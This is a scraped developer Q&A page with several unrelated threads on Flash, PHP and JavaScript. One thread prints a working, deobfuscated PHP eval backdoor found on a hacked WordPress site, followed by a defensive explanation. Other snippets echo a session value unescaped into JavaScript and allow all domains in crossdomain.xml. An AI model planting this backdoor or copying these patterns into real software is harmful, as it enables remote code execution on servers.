I got an application which uses flash for it's interfaces, and I want to extract information from this application, and parse/use it in my own application (which processes the data, stores the essentials in a mysqldb and so on).
The .swf files are written in AS2 and can be modded quite easily.
So my goal is to send information (really just information. Being able to send numbers (of a at least decent size) would enable me to implement my own protocol of encoding and partitioning) by any means, I am certainly not picky about the means.
Here is my current approach (not my own idea, credits to koreanrandom.org. I merely use their source to learn):
use DokanLib to mount a virtual filesystem (and implement the getFileInformation-handler)
use LoadVars inside the AS2-Environment with parameters like "../.logger/#encoded_information"
since getFileInformation gets the accessed filename as a parameter, I can decode it, put several ones back together (if they had to be splitted, windows does not seem to like filenames with several hundred characters length) and use the decoded data
However, my application causes bluescreens quite often (dont ask why. i got no clue, the bluescreen messages are always different) and the devs at koreanrandom.org dont like being asked too many questions, so i came to ask here for other means to pass information from a sandboxed flash-environment to a prepared listener.
I started thinking about weird stuff (ok, abusing a virtual filesystem & filenames as a means of transport for information might be weird too - but it is still a great idea imo) like provoking certain windows-functions to be called and work with global hooks, but i didnt grasp a serious plan yet.
The "usual" methods like accessing webservers via methods like this dont appear to work:
var target_mc = createEmptyMovieClip("target_mc", this.getNextHighestDepth());
loadVariables("http://127.0.0.1/Tools/indata.php", "target_mc", "GET");
(indata.php would have created a file, if it was accessed, but it didnt.)
XMLSocket doesnt work either, i tried the following code sample (using netcat -l on port 12345):
Logger.add("begin");
var theSocket:XMLSocket = new XMLSocket();
theSocket.onConnect = function(myStatus) {
if (myStatus) {
Logger.add("XMLSocket sucessfully connected")
} else {
Logger.add("XMLSocket NO CONNECTION");
}
};
theSocket.connect("127.0.0.1", 12345);
var myXML:XML = new XML();
var mySend = myXML.createElement("thenode");
mySend.attributes.myData = "someData";
myXML.appendChild(mySend);
theSocket.send(myXML);
Logger.add("socket sent");
doesnt work at all either, the output of the logger was just begin and socket sent
Annotation: the logger was created by the guys from koreanrandom.org and relies on their dokan implementation, which never caused a bluescreen for me. cant spot my mistake in my implementation though, so i started to look for other means of solving my problem.
EDIT: what the hell is wrong with your "quality messages system"? appearently it didnt like me using the tags "escaping" and/or "information".
hmm, hard to say, try sendAndLoad instead of loadVariables
example:
var result_lv:LoadVars = new LoadVars();
var send_lv:LoadVars = new LoadVars();
send_lv.variable1=value1;
send_lv.variable2=value2;
f=this;//zachytka
result_lv.onLoad = function(success:Boolean) {
if (success) {
trace("ok");
} else {
trace("error");
}
};
send_lv.sendAndLoad("http://127.0.0.1/Tools/indata.php", result_lv, "GET"); //you may also use POST
this should work. the reason it's not working may also be flash security settings. try either moving the stuff to a real server or open up the flash settings manager (there's an alternative online version too) and add the 127.0.0.1 to trusted domains and/or testing file location to the trusted locations (i use C:*)
Related
I found some code that I did not write in my public_html folder on my WordPress site. After a bit of effort, I was able to get it into a somewhat readable state, but it's still beyond me what it does. Could anyone with a better understanding tell me what this code was supposed to be doing?
If it helps, it had also overwritten my index.php file with this code, as well as had several references to a strange .ico file.
foreach (array_merge($_COOKIE, $_POST) as $key => $value) {
function fun1($key, $valueLength)
{
$keyGuid = $key . "49d339b2-3813-478a-bfa1-1d75be92cf49";
$repeatTimes = ($valueLength / strlen($key)) + 1;
return substr(str_repeat($keyGuid, $repeatTimes), 0, $valueLength);
}
function packToHex($inputToPack)
{
return #pack("H*", $inputToPack);
}
function fun3($exploded)
{
$modCount = count($exploded) % 3;
if (!$modCount) {
eval($exploded[1]($exploded[2]));
exit();
}
}
$value = packToHex($value);
$bitwiseXor = $value ^ fun1($key, strlen($value));
$exploded = explode("#", $bitwiseXor);
fun3($exploded);
}
Short answer: It is backdoor, it allows to execute arbitrary code on the server side.
Note: all you need to see is that it has eval and takes input from the user.
What arbitrary code? Whatever they want.
Long answer:
It will take data from $_COOKIE and $_POST as you can see. This data comes from the user. We can infer that this code was designed for a malicius user recieve data (which, either the malicius user will send directly, or via a bot).
What does it dose with this data? Well, it will over all the input, one by one, and try to:
$value = packToHex($value); Interpret it as an hexadecimal string and covert it to its binary representation. Silently fail if it isn't an hexadecimal string.
$bitwiseXor = $value ^ fun1($key, strlen($value)); apply a cheap cipher over it. This is a symetric substitution cipher, it depends on $key and the hard coded guid 49d339b2-3813-478a-bfa1-1d75be92cf49. We can asume that who injected this code knows the guid and how to cipher for it (it is exactly the same code).
$exploded = explode("#", $bitwiseXor); We then separate the result by the character "#".
And fun3($exploded); interpret it as code (see [eval][1]).
If all succedes (meaning that the input from the user was such that it triggered this process), then it will exit, so that it flow of execution never reaches your code.
Now, somebody injected this code on the server. How did they do it? I do not know.
My first guess is that you have some vulnerability that allows them to upload PHP code (perhaps you have a file upload function that will happilly take PHP files and put them in a path where the user can cause the server to run them).
Of course, there are other posibilities... they may have brute forced the login to your ftp or admin login, or some other thing that would allow them to inject the code. Or you may be running some vulnerable software (an outdated or poorly configured WordPress or plugin, for example). Perhaps you downloaded and used some library or plugin that does watherver but is compromised with malware (there have been cases). or perhaps you are using the same key as your email everywhere, and it got leaked from some other vulnerable site... or, this was done by somebody who works with you and have legitimate access, or something else entirely...
What I am saying is that... sure remove that code from your server, but know that your server is vulnerable by other means, otherwise it wouldn't have got compromised in the first place. I would assume that whoever did this is out there, and may eventually notice you took it down and compromise your server again (Addendum: In fact, there could be some other code in your server that puts it back again if it is not there).
So go cover all your bases. Change your passwords (and use strong ones). Use https. Configure your server properly. Keep your software up to date.
If you have custom PHP code: Validate all input (including file uploads). Sanitize whatever you will send back to the user. Use prepared sentences. Avoid suspicius third party code, do not copy and paste without understanding (I know you can do a lot without really understanding how it works, but when it fails is when you really need the knowledge).
Addendum:
If you can, automate updates and backups.
Yes, there are security plugins for WordPress, and those can go a long way in improving its security. However, you can always configure them wrong.
My question may be incorrect or even strange, but I'm really interested in such programming experience, and there is two reasons for that:
As a PHP developer I should do my work so I can't just switch to other programming language that easy; however, there is a lot of things that causes a lot of pain to write in PHP.
As a Python beginner I'm already a huge fan of this language, and there are things that can be done a lot easier and, IMHO, in more righteous way that PHP implementation suggests.
For example, I've been writing a broadcasting multiple-connection socket server in PHP, and anybody who has done similar thing would understand how many restrictions will cause such solution - detecting disconnect if client just closed browser is dreadful. Looking at broadcasting server implementations in Python makes me feel more comfortable.
Also, a think about applications that could work, say, in offline mode to gather user input and sending it to the processing server later, or stand-alone applications that are connected to a website, etc.
Searching the web is poor in this case. All I've found is PiP, but it was released too long ago and not documented well - there is probably a good reason for that.
I would be glad to hear any thoughts about this, because I understand that this idea is kind of crazy and looks like not a lot of people is concerned about it.
Some time ago I ran into a similar dilemma. The solution I found was use xml-rpc to expose python objects and methods so I can use them from php scripts. Here I left you the documentation of both.
Python: Python xml-rpc.
PHP: XML-PHP
EDIT: Adding example. The examples are the same that in the documentation. I just changed them a bit to make them shorter. In client.php I only call the div function from python server. Add the others your self.
server.py
from SimpleXMLRPCServer import SimpleXMLRPCServer
from SimpleXMLRPCServer import SimpleXMLRPCRequestHandler
# Restrict to a particular path.
class RequestHandler(SimpleXMLRPCRequestHandler):
rpc_paths = ('/RPC2',)
# Create server
server = SimpleXMLRPCServer(("localhost", 8000),
requestHandler=RequestHandler)
server.register_introspection_functions()
# Register pow() function; this will use the value of
# pow.__name__ as the name, which is just 'pow'.
server.register_function(pow)
# Register a function under a different name
def adder_function(x,y):
return x + y
server.register_function(adder_function, 'add')
# Register an instance; all the methods of the instance are
# published as XML-RPC methods (in this case, just 'div').
class MyFuncs:
def div(self, x, y):
return x // y
server.register_instance(MyFuncs())
# Run the server's main loop
server.serve_forever()
client.php
<html>
<head><title>xmlrpc</title></head>
<body>
<h1>Php - Python - XMLRPC Demo</h1>
<?php
// Note that the path to xmlrpc.inc file is relative.
// to this file.
include("xmlrpc/lib/xmlrpc.inc");
// Params to python function 10 and 5.
// Build the message you want send.
// The message takes the function name and the params. See doc for details on how
// build params, is pretty easy.
$msg = new xmlrpcmsg( "div", array(new xmlrpcval(10, "int"), new xmlrpcval(5, "int")) );
// Build a XMLRCP - Client.
$client = new xmlrpc_client("/RPC2", "localhost", 8000);
// And send the message.
$response = $client->send($msg);
// From here all should look familier to you.
if(!$response->faultCode())
{
$v=$response->value();
echo "The result from div is" . htmlspecialchars($v->scalarval());
}
else
{
print "An error occurred: ";
print "Code: " . htmlspecialchars($r->faultCode())
. " Reason: '" . htmlspecialchars($r->faultString()) . "'</pre><br/>";
}
?>
<hr/>
</body>
</html>
The actual questions
How to "map" access restrictions so it can be used from php and javasript?
What kind of method should I use to share access restrictions / rules between php and javascript?
Explanation
I have created a RESTful backend using php which will use context-aware access control to limit data access and modification. For example, person can modify address information that belongs to him and can view (but not modify) address information of all other persons who are in the same groups. And of course, group admin can modify address details of all the persons in that group.
Now, php side is quite "simple" as that is all just a bunch of checks. Javascript side is also quite "simple" as that as well is just a bunch of checks. The real issue here is how to make those checks come from the same place?
Javascript uses checks to show/hide edit/save buttons.
PHP uses checks to make the actual changes.
and yes,
I know this would be much more simpler situation if I ran javascript (NodeJS or the like) on server, but the backend has already been made and changing ways at this point would cause major setbacks.
Maybe someone has already deviced a method to model access checks in "passive" way, then just use some sort of "compiler" to run the actual checks?
Edit:
Im case it helps to mention, the front-end (js) part is built with AngularJS...
Edit2
This is some pseudo-code to clarify what I think I am searching for, but am not at all certain that this is possible in large scale. On the plus side, all access restrictions would be in single place and easy to amend if needed. On the darkside, I would have to write AccessCheck and canAct functions in both languages, or come up with a way to JIT compile some pseudo code to javascript and php :)
AccessRestrictions = {
Address: {
View: [
OWNER, MEMBER_OF_OWNER_PRIMARY_GROUP
],
Edit: [
OWNER, ADMIN_OF_OWNER_PRIMARY_GROUP
]
}
}
AccessCheck = {
OWNER: function(Owner) {
return Session.Person.Id == Owner.Id;
},
MEMBER_OF_OWNER_PRIMARY_GROUP: function(Owner) {
return Session.Person.inGroup(Owner.PrimaryGroup)
}
}
canAct('Owner', 'Address', 'View') {
var result;
AccessRestrictions.Address.View.map(function(role) {
return AccessCheck[role](Owner);
});
}
First things first.
You can't "run JavaScript on the server" because Javascript is always run on the client, at the same way PHP is always run on the server and never on the client.
Next, here's my idea.
Define a small library of functions you need to perform the checks. This can be as simple as a single function that returns a boolean or whatever format for your permissions. Make sure that the returned value is meaningful for both PHP and Javascript (this means, return JSON strings more often than not)
In your main PHP scripts, include the library when you need to check permissions and use the function(s) you defined to determine if the user is allowed.
Your front-end is the one that requires the most updates: when you need to determine user's permission, fire an AJAX request to your server (you may need to write a new script similar to #2 to handle AJAX requests if your current script isn't flexible enough) which will simply reuse your permissions library. Since the return values are in a format that's easily readable to JavaScript, when you get the response you'll be able to check what to show to the user
There are some solutions to this problem. I assume you store session variables, like the name of the authorized user in the PHP's session. Let's assume all you need to share is the $authenticated_user variable. I assume i'ts just a string, but it can also be an array with permissions etc.
If the $authenticated_user is known before loading the AngularJS app you may prepare a small PHP file whish mimics a JS file like this:
config.js.php:
<?php
session_start();
$authenticated_user = $_SESSION['authenticated_user'];
echo "var authenticated_user = '$authenticated_user';";
?>
If you include it in the header of your application it will tell you who is logged in on the server side. The client side will just see this JS code:
var authenticated_user = 'johndoe';
You may also load this file with ajax, or even better JSONP if you wrap it in a function:
<?php
session_start();
$authenticated_user = $_SESSION['authenticated_user'];
echo <<<EOD;
function set_authenticated_user() {
window.authenticated_user = '$authenticated_user';
}
EOD;
?>
I'm having a multiplayer server that's using PHPSockets, and thus is written entirely in PHP.
Currently, whenever I'm making any changes to the PHP server-script I have to kill the script and then start it over again. This means that any users online is disconnected (normally not a problem because there aren't so many at the moment).
Now I am rewriting the server-script to use custom PHP classes and sorten things up a little bit (you don't want to know how nasty it looks today). Today I was thinking: "Shouldn't it be possible to make changes to the php source without having to restart the whole script?".
For example, I'm planning on having a main.php file that is including user.php which contains the class MyUser and game.php which contains the class MyGame. Now let's say that I would like to make a change to user.php and "reload" the server so that the changes to user.php goes into effect, without disconnecting any online users?
I tried to find other questions that answered this, the closest I got is this question: Modifying a running script and having it reload without killing it (php) , which however doesn't seem to solve the disconnection of online users.
UPDATE
My own solutions to this were:
At special occations, include the file external.php, which can access a few variables and use them however it'd like. When doing this, I had to make sure that there were no errors in the code as the whole server would crash if I tried accessing a method that did not exist.
Rewrite the whole thing to Java, which gave me the possibility of adding a plugin system using dynamic class reloading. Works like a charm. Bye bye PHP.
Shouldn't it be possible to make changes to the php source without having to restart the whole script?
[...]
I'm planning on having a main.php file that is including user.php
which contains the class MyUser
In your case, you can't. Classes can only be defined once within a running script. You would need to restart the script to have those classes redefined.
I am not too familiar with PHP but I would assume that a process is created to run the script, in doing so it copies the instructions needed to run the program and begins execution on the CPU, during this, if you were to "update" the instructions, you'd need to kill the process ultimate and restart it. Includes are a fancy way of linking your classes and files together but ultimately the processor will have that information separate from where the file of them are stored and it is ultimately different until you restart the process.
I do not know of any system in which you can create code and actively edit it and see the changes while that code is being run. Most active programs require restart to reload new source code.
Runkit will allow you to add, remove, and redefine methods (among other things) at runtime. While you cannot change the defined properties of a class or its existing instances, it would allow you to change the behavior of those objects.
I don't recommend this as a permanent solution, but it might be useful during development. Eventually you'll want to store the game state to files, a database, Memcache, etc.
How about storing your User object into APC cache while your main script loads from the cache and checks every so often for new opcode.
To include a function in the cache, you must include the SuperClosure Class. An example would be:
if (!apc_exists('area')) {
// simple closure
// calculates area given length and width
$area = new SuperClosure(
function($length, $width) {
return $length * $width;
}
);
apc_store('area', $area);
echo 'Added closure to cache.';
} else {
$func = apc_fetch('area');
echo 'Retrieved closure from cache. ';
echo 'The area of a 6x5 polygon is: ' . $func(6,5);
}
See here for a tutorial on APC.
Simple solution use $MyUser instead of MyUser
require MyUserV1.php;
$MyUser = 'MyUserV1';
$oldUser = new $MyUser('your name');
//Some time after
require MyUserV2.php;
$MyUser = 'MyUserV2';
$newUser = new $MyUser('your name');
Every declared class stay in memory but become unused when the last MyUserV1 logout
you can make them inherit from an abstract class MyUser for using is_a
You cannot include again a file with the same class, but you can do so with an array. You can also convert from array to class, if you really need to do so. This only applies to data, though, not to behavior (methods).
I don't know much about these things with the games on PC but you can try to get all the variables from your database for the user and then update the text fields or buttons using those variables
In web is using AJAX (change data without refreshing the page).Isn't one for programming?
I'm working on a major Flash project that is going to be the core content of a site.
As most of you well know, almost any site can be entirely copied by copying the cached files and the hierarchy (files and folders structure), and it would run without problems on an Apache server with PHP enabled, if used.
What I would like to know is: How to bind SWF files to run on a specific host?
The SWFs will be encrypted, so outsiders won't have access to the methods used to stop the SWF from running on a different host, question is: what method to use?
I think the solution could be hardcoding the host IP inside the SWF, so if the SWF is looking for 123.123.123.123, only a host with that IP would allow the SWF to run further.
The issue is that AS3 alone can't discover the host IP or could it if it's trying to load a resource file? Anyway, that's why I need your help.
EDIT: Ok, seems someone asked for something similar earlier: Can you secure your swf so it checks if it is running on a recognized environment?
I'll try that and see how it works, but the question is still open in case anyone has different suggestions.
I use this method to determine if I am on dev or production in my config files.
var lc:LocalConnection = new LocalConnection();
switch ( lc.domain ){
case "myDomain.com":
case "":// local file reference for dev
case "localhost":// local file reference for dev
case "dev.mydomain.com":// local file reference for dev
break;
default:
// unknown domain do crash the app here
}
One method you could try is a php script that the swf sends a request to and must receive a correct reply from before it continues to operate. Since people can't get at your server-side php, they can't get the needed code to simulate that reply.
The SWFs will be encrypted, so outsiders won't have access to the methods used to stop the SWF from running on a different host
Since the file will run on a client computer (and thus they key would have to be stored in an accessible way), this isn't really that much of a protection.
The best way would probably be to have part of the SWF-logic on the server, and not give access to that part from third party hosts (by using the crossdomain file).
Look into the idea of wrapping main inside a type of preloader, and putting main into a secure dir on the server. I cant remember how this gets around the cache problem, but it had to do with how the wrapper loads main.
Something like this:
// preloader.as (embedded in fla)
var imageLoader:Loader;
function randomNumber(low:Number=NaN, high:Number=NaN):Number
{
var low:Number = low;
var high:Number = high;
if(isNaN(low))
{
throw new Error("low must be defined");
}
if(isNaN(high))
{
throw new Error("high must be defined");
}
return Math.round(Math.random() * (high - low)) + low;
}
function loadImage(url:String):void {
imageArea.visible=false;
preloader.visible = true;
// Set properties on my Loader object
imageLoader = new Loader();
imageLoader.load(new URLRequest(url));
imageLoader.contentLoaderInfo.addEventListener(ProgressEvent.PROGRESS, imageLoading);
imageLoader.contentLoaderInfo.addEventListener(Event.COMPLETE, imageLoaded);
imageArea.addChild(imageLoader);
}
// DOIT!
loadImage("main.sw?"+randomNumber(1000,10000)); //NOT A TYPO!
//loadImage("main.swf"+randomNumber(1000,10000);
function imageLoaded(e:Event):void {
// Hide Preloader
preloader.visible = false;
}
function imageLoading(e:ProgressEvent):void {
// Get current download progress
var loaded:Number = e.bytesLoaded / e.bytesTotal;
// Send progress info to "preloader" movie clip
preloader.SetProgress(loaded);
}
/// this is main.sw //NOT A TYPO
<?php
// Tried this - abandoned
// session_start();
//
// if(isset($_SESSION["flash"])) {
// $referrer = $_SERVER["HTTP_REFERER"];
// $referrer = parse_url($referrer);
// if($referrer["host"] != $_SESSION["flash"]) {
// echo "Permission denied.";
// exit();
// }
// } else {
// echo "Permission denied.";
// exit();
// }
//
// unset($_SESSION["flash"]);
header("Content-type: application/x-shockwave-flash");
readfile("/secure/main.swf");
?>
// main.as
public function onCreationComplete(event:Event):void{
Security.allowDomain( "*" );
Security.loadPolicyFile( "crossdomain.xml" );
}
// crossdomain.xml
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
That should get you started. The idea here was to prevent anyone from getting main on their machine- I am not sure if it worked.
You may have a server-side page generate a key using a date-based algorithm which is passed via flash var to your swf. This way a "copied" key won't work because by that time, the valid date will have passed. From what I understand, this would essentially be like using an RSA token.
Aside from this, any security you have will also need code to be inside your SWF to validate your token. The problem here is that SWFs are known to decompile quite easily. Meaning that your code isn't safe :( You could obfuscate your AS3 in hopes to confuse any "hackers".
All in all, I've never attempted anything like this, so let us know how it goes!